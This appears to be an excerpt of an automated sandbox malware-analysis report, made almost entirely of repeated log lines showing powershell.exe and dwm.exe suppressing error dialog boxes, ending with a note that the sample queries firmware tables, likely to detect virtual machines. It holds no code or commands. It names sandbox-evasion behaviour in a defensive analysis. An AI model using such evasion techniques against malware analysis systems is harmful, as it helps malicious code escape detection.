Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

